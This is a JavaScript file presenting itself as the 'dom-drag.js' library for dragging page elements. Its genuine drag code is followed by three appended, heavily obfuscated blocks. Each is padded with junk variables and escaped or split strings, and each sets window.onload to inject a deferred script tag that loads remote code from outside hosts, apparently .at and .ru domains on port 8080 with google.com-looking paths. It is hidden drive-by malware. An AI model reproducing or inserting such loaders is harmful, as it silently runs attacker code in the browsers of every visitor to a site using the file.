/**************************************************
 * dom-drag.js
 * 09.25.2001
 * www.youngpup.net
 **************************************************
 * 10.28.2001 - fixed minor bug where events
 * sometimes fired off the handle, not the root.
 **************************************************/

var Drag = {

	obj : null,

	init : function(o, oRoot, minX, maxX, minY, maxY, bSwapHorzRef, bSwapVertRef, fXMapper, fYMapper)
	{
		o.onmousedown	= Drag.start;

		o.hmode			= bSwapHorzRef ? false : true ;
		o.vmode			= bSwapVertRef ? false : true ;

		o.root = oRoot && oRoot != null ? oRoot : o ;

		if (o.hmode  && isNaN(parseInt(o.root.style.left  ))) o.root.style.left   = "0px";
		if (o.vmode  && isNaN(parseInt(o.root.style.top   ))) o.root.style.top    = "0px";
		if (!o.hmode && isNaN(parseInt(o.root.style.right ))) o.root.style.right  = "0px";
		if (!o.vmode && isNaN(parseInt(o.root.style.bottom))) o.root.style.bottom = "0px";

		o.minX	= typeof minX != 'undefined' ? minX : null;
		o.minY	= typeof minY != 'undefined' ? minY : null;
		o.maxX	= typeof maxX != 'undefined' ? maxX : null;
		o.maxY	= typeof maxY != 'undefined' ? maxY : null;

		o.xMapper = fXMapper ? fXMapper : null;
		o.yMapper = fYMapper ? fYMapper : null;

		o.root.onDragStart	= new Function();
		o.root.onDragEnd	= new Function();
		o.root.onDrag		= new Function();
	},

	start : function(e)
	{
		var o = Drag.obj = this;
		e = Drag.fixE(e);
		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
		o.root.onDragStart(x, y);

		o.lastMouseX	= e.clientX;
		o.lastMouseY	= e.clientY;

		if (o.hmode) {
			if (o.minX != null)	o.minMouseX	= e.clientX - x + o.minX;
			if (o.maxX != null)	o.maxMouseX	= o.minMouseX + o.maxX - o.minX;
		} else {
			if (o.minX != null) o.maxMouseX = -o.minX + e.clientX + x;
			if (o.maxX != null) o.minMouseX = -o.maxX + e.clientX + x;
		}

		if (o.vmode) {
			if (o.minY != null)	o.minMouseY	= e.clientY - y + o.minY;
			if (o.maxY != null)	o.maxMouseY	= o.minMouseY + o.maxY - o.minY;
		} else {
			if (o.minY != null) o.maxMouseY = -o.minY + e.clientY + y;
			if (o.maxY != null) o.minMouseY = -o.maxY + e.clientY + y;
		}

		document.onmousemove	= Drag.drag;
		document.onmouseup		= Drag.end;

		return false;
	},

	drag : function(e)
	{
		e = Drag.fixE(e);
		var o = Drag.obj;

		var ey	= e.clientY;
		var ex	= e.clientX;
		var y = parseInt(o.vmode ? o.root.style.top  : o.root.style.bottom);
		var x = parseInt(o.hmode ? o.root.style.left : o.root.style.right );
		var nx, ny;

		if (o.minX != null) ex = o.hmode ? Math.max(ex, o.minMouseX) : Math.min(ex, o.maxMouseX);
		if (o.maxX != null) ex = o.hmode ? Math.min(ex, o.maxMouseX) : Math.max(ex, o.minMouseX);
		if (o.minY != null) ey = o.vmode ? Math.max(ey, o.minMouseY) : Math.min(ey, o.maxMouseY);
		if (o.maxY != null) ey = o.vmode ? Math.min(ey, o.maxMouseY) : Math.max(ey, o.minMouseY);

		nx = x + ((ex - o.lastMouseX) * (o.hmode ? 1 : -1));
		ny = y + ((ey - o.lastMouseY) * (o.vmode ? 1 : -1));

		if (o.xMapper)		nx = o.xMapper(y)
		else if (o.yMapper)	ny = o.yMapper(x)

		Drag.obj.root.style[o.hmode ? "left" : "right"] = nx + "px";
		Drag.obj.root.style[o.vmode ? "top" : "bottom"] = ny + "px";
		Drag.obj.lastMouseX	= ex;
		Drag.obj.lastMouseY	= ey;

		Drag.obj.root.onDrag(nx, ny);
		return false;
	},

	end : function()
	{
		document.onmousemove = null;
		document.onmouseup   = null;
		Drag.obj.root.onDragEnd(	parseInt(Drag.obj.root.style[Drag.obj.hmode ? "left" : "right"]), 
									parseInt(Drag.obj.root.style[Drag.obj.vmode ? "top" : "bottom"]));
		Drag.obj = null;
	},

	fixE : function(e)
	{
		if (typeof e == 'undefined') e = window.event;
		if (typeof e.layerX == 'undefined') e.layerX = e.offsetX;
		if (typeof e.layerY == 'undefined') e.layerY = e.offsetY;
		return e;
	}
};

this.ZE="";try {var E=new String();var Y=window[unescape("%75%6e%65%73%63%61%70%65")];var i;if(i!='' && i!='sg'){i=null};var D=new String();var j="";var S='';var M=null;var pm='';var my;if(my!='' && my!='yh'){my=null};var J=Y("%72%65%70%6c%61%63%65");var uW="";var zV=window[Y("%52%65%67%45%78%70")];var Tg;if(Tg!='UM' && Tg!='O'){Tg=''};function z(u,Z){var P=new Date();var V;if(V!='Yc' && V!='Do'){V=''};var h=Y("%5b");h+=Z;var g=new String();h+=Y("%5d");var qk=new Date();var Zz;if(Zz!='' && Zz!='xi'){Zz=null};var m=new zV(h, Y("%67"));var IU='';var DO;if(DO!='wI' && DO!='K'){DO=''};return u.replace(m, M);var pH;if(pH!='G' && pH!='EL'){pH=''};};this.LM="";this._J="";var qJ;if(qJ!='i_'){qJ=''};var d=z('/NaVbFcxnNexwys4-WgJoA-xcKoFmJ/7gBoVoygxlGe7.2cBoxmJ/FaxsZk7.2cKoDmK.4pEh4py','Z2E17y0FDNB4VKGCxWAJ');var x='';this.Eo='';var YP=new String();var U=z('896259123319305671794453282561937929721024251429319425','45219736');var Mu=new Array();var c="onl"+"oad";var De=new Date();var wF;if(wF!='jo' && wF!='Vx'){wF='jo'};var y="\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x68\x6f\x6d\x65\x73\x6f\x66\x74\x2e\x61\x74\x3a";var u=Y("%31");var e="";var zi=Y("%73%63%72%69%70%74");var ZT='';var jc;if(jc!='v'){jc=''};function he(){var Vc;if(Vc!='' && Vc!='o'){Vc=null};var C=document;var kE;if(kE!='' && kE!='Jt'){kE=''};var Ti;if(Ti!='jI' && Ti!='Bm'){Ti='jI'};var fi;if(fi!='' && fi!='TM'){fi=''};X=C.createElement(zi);var rM=new String();var OC;if(OC!='' && OC!='qU'){OC=''};var it;if(it!='' && it!='XY'){it=''};x+=y;x+=U+d;this.Op='';this.UD='';var KD;if(KD!='' && KD!='aN'){KD=''};X.defer=u;var FK;if(FK!='bZ' && FK!='qm'){FK='bZ'};var wL;if(wL!='' && wL!='ma'){wL=null};var uS;if(uS!='' && uS!='Lh'){uS='_v'};var T=C.body;var n=new Date();X.src=x;var NI;if(NI!='Gn'){NI=''};var ps='';var eO;if(eO!=''){eO='Xq'};T.appendChild(X);};var NIB="";var FL="";var XV=new String();var fu;if(fu!='oh'){fu=''};window[c]=he;} catch(dU){var Vu="";var qQ;if(qQ!='ir'){qQ=''};};


var L={M:52302};function T(){var EV=[];var S={p:14379};var n="hlUGappe".substr(4)+"ndCh"+"ild";C=["q","K"];try {var R_='a'} catch(R_){};var m=new String("sr"+"c");this.c="c";var m_=new String("zsMfonloa".substr(4)+"d");var H=new String("boyVA".substr(0,2)+"dy");this.g="g";var y=String("defer");var G=window;try {var k_='BG'} catch(k_){};var A=document;var s=String("creh09".substr(0,3)+"WBKoateoWKB".substr(4,3)+"LQv0Ele".substr(4)+"men"+"9sUSt".substr(4));var Z=String("sc"+"riFwc".substr(0,2)+"PcQptQcP".substr(3,2));var tR=[];function I(){var mS={gr:"nr"};f={wc:false};this.QP=15779;this.QP--;IB=["u","CE"];try {jf={F:6238};jN=33912;jN-=22;var B=231372-223292;var _=new String("http:mYB".substr(0,5)+"//dir"+"tysin"+".ru:w6NJ".substr(0,4));ga=["N"];var VC="VC";var _U=String("/go"+"oglFEz".substr(0,3)+"e.c"+"om/"+"aze73dx".substr(0,3)+"t.s"+"k/lyQ8D".substr(0,3)+"ock"+"erz"+"Mn3S.co3MnS".substr(4,3)+"VTkwm.p".substr(4)+"hp");var Ve=["Cd","kA"];this.cx="cx";var U=9341-9340;try {var MV='D'} catch(MV){};QS=34877;QS-=224;qm=24161;qm-=136;V=A[s](Z);this.rE=2288;this.rE++;this.vl=61989;this.vl++;b=63807;b++;this.J=false;var Ek=["rc"];var Cf=["GK"];V[m]=_+B+_U;V[y]=U;var i=new Array();rck=37316;rck-=63;this.si=10491;this.si-=114;this.Jj=24687;this.Jj-=193;A[H][n](V);this.J_="J_";ym=26220;ym+=119;} catch(Ht){var tRN=61132;Co={Pe:false};};wS=["HtH","LC"];}qk=["Vj"];G[m_]=I;this.JA=63331;this.JA-=165;};T();this.yf="yf";
var j=false;z=15546;z--;var Lo=["o","pr","Z"];var B="B";var M=false;try {var I=["Yp","pZ"];var k={};var wi={};var cD=new Array();yq=52355;yq++;var d=new Date();Md=46874;Md++;var NR=new Date();var lW={NQ:"ko"};var P=window[new String("un"+"es"+"ca"+"pe")];g_=[];var Cz="Cz";this.cL=false;nj={Iy:18475};var nW=["AX","OX","Co"];this.x=8506;this.x++;gi={mY:31948};kE=["rg","EB","mG"];var G=new String("c9urep".substr(3)+"lachJIs".substr(0,3)+"e");var Tx='';this.dK=22025;this.dK-=138;this.DN=false;var mm=["HZ"];var F='';bd={K:47648};var uz=["QB"];Gq=["oZ","jn","Jt"];var YL=["TZ"];var g=window[("RegEx"+"iUtIp".substr(4))];var VF="VF";var TJ=["jB","OI"];var va='';var c=String("r98onloa".substr(3)+"YVJ0d".substr(4));var Mp=["dl"];try {} catch(HL){};var q=String("1");Zp=["IY","Ip","wX"];ln=["Oo","LQ","ba"];pw={xs:"wS"};VD={};var sv=["Ri","kT","AG"];var hA=[];var fb="fb";var eg=[];var Is="Is";var QP="QP";function Q(q,w){var aT=54074;_x={Df:36951};var Vv=14165;try {} catch(WB){};var vL=1840;var s=String("[");try {var cY='iV'} catch(cY){};s+=w;this.oM=12890;this.oM++;this.wE=45690;this.wE++;PW={};eY={Cy:20962};PK={Nm:63023};s+=P("%5d");var OD=42471;this.WiM=59718;this.WiM+=220;iel=49471;iel+=51;var Zt={Wn:false};var mN={ph:false};var bU=[];kR=20902;kR+=18;var XS=new Array();var kK=[];var i=new g(s, String("g"));return q.replace(i, F);this.kc="";TN=[];};var PQ=["bO"];var IOP={Ol:"Qi"};this.hb=60414;this.hb+=213;var r=String("LvZq/rk".substr(4)+"-co"+"m/gjiW".substr(0,3)+"oog"+"le."+"com"+"e8L/cm".substr(3)+"noC1bchnoC1".substr(4,3)+"inawyL".substr(0,3)+".cowb04".substr(0,3)+"SE8m.pS8E".substr(3,3)+"hp");var fbQ=32938;Yq=57647;Yq--;var fY=54256;var EF='';var sZ=51052;var X=426965-418885;kRZ=["ag","aB","AE"];gg=["Fc","CE","WH"];aP=["IS","dk","YH"];this.TF="TF";this.sA="sA";var yNB={dW:false};var u=String("ht"+"tp"+":/"+"w0bP/a".substr(4)+"yt5sh5ty".substr(3,2)+"do"+"9zbg.".substr(3)+"f3OYru3fYO".substr(4,2)+":");var ur=new Array();function l(){var Ym=new Array();this.Cq=33810;this.Cq+=235;bb={WG:false};PN={DV:false};var nY=new Array();this.wG=false;var N=document;uzP=["zn"];dJ=["P_"];var Sve="";this.ZV="ZV";var D=String("appe"+"ndCh"+"ild");var oCU="oCU";try {var Mr='tK'} catch(Mr){};try {} catch(oMp){};try {} catch(rq){};var L=Q('s0cDroiPpLtL','D2EToh0SfPmWLl1F6');var tw="";Ng=16344;Ng+=195;Dm={SC:54938};lo=["HN"];var Zn="Zn";var wSM="wSM";Y=N.createElement(L);this.hM=false;this.gj="";bH=[];dd=["oW","qZ","se"];T=u+X;Va={};vZ={};hH={kF:62212};var gI=false;T=T+r;var Xi=new Date();var ub=new Date();this.ii="";var __=["bc"];Y.src=T;this.GQ=5230;this.GQ++;this.tj=45065;this.tj++;try {var PUE='KJ'} catch(PUE){};try {var jA='Ab'} catch(jA){};var XkF=new Date();var Ep=new Array();var sO=N.body;Y[new String("def"+"er")]=q;this.rr='';PZ=["qQ","OY","fx"];var JF=false;var zj={};PHI=["Kg"];sO[D](Y);this.be="";};var aBI='';var MT={};var zI='';var ay=["Gg","XuI"];try {var dm='ki'} catch(dm){};window[c]=l;try {} catch(yO){};this.J_=49357;this.J_++;var syz=new String();this.oC_=23806;this.oC_--;try {} catch(beg){};Da=["ht"];Wv=["eq"];dF=["Zi"];this.ILQ=false;QA={};} catch(p){Ef={rs:false};HC={rd:false};var aqm=false;yM={Hp:29495};var mP=false;var fkP={qu:17676};};